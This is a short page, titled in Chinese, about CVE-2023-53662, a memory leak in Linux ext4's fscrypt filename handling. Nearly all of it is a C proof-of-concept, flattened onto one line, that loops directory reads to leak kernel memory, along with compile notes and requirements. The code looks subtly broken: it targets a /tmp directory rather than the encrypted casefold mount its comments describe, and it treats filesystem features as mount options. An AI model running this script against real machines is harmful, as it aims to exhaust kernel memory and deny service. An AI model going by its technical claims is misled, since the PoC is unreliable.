CVE-2023-53662：Linux内核ext4文件系统内存泄漏漏洞

// CVE-2023-53662 PoC - Trigger ext4 fscrypt memory leak // This PoC demonstrates how to trigger the memory leak in // ext4_fname_setup_filename() and ext4_fname_prepare_lookup() // when filename casefolding fails. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <dirent.h> #include <errno.h> #define LEAK_ITERATIONS 10000 #define TARGET_DIR "/tmp/ext4_leak_test" // Create an ext4 filesystem with fscrypt and casefold enabled // mkfs.ext4 -O encrypt,casefold /dev/sdb1 // mount -t ext4 -o encrypt,casefold /dev/sdb1 /mnt/encrypted int main(int argc, char *argv[]) { int ret; DIR *dir; struct dirent *entry; // Step 1: Create test directory ret = mkdir(TARGET_DIR, 0755); if (ret < 0 && errno != EEXIST) { perror("mkdir"); return 1; } printf("[*] Starting memory leak trigger for CVE-2023-53662\n"); printf("[*] Target directory: %s\n", TARGET_DIR); printf("[*] Iterations: %d\n", LEAK_ITERATIONS); // Step 2: Repeatedly trigger filename lookup to cause memory leak // Each failed casefolding operation leaks crypto_buf.name memory for (int i = 0; i < LEAK_ITERATIONS; i++) { dir = opendir(TARGET_DIR); if (!dir) { perror("opendir"); continue; } // Read directory entries - triggers ext4_fname_prepare_lookup() while ((entry = readdir(dir)) != NULL) { // Accessing entries with casefolding enabled triggers // the vulnerable code path (void)entry->d_name; } closedir(dir); if (i % 1000 == 0) { printf("[+] Progress: %d/%d iterations\n", i, LEAK_ITERATIONS); } } printf("[*] Memory leak trigger completed\n"); printf("[*] Check kernel memory usage with: cat /proc/meminfo\n"); return 0; } // Compilation: gcc -o cve_2023_53662_poc cve_2023_53662_poc.c // Requirements: // - ext4 filesystem with encrypt and casefold features enabled // - Low privilege access (PR:L) // - Local execution capability (AV:L)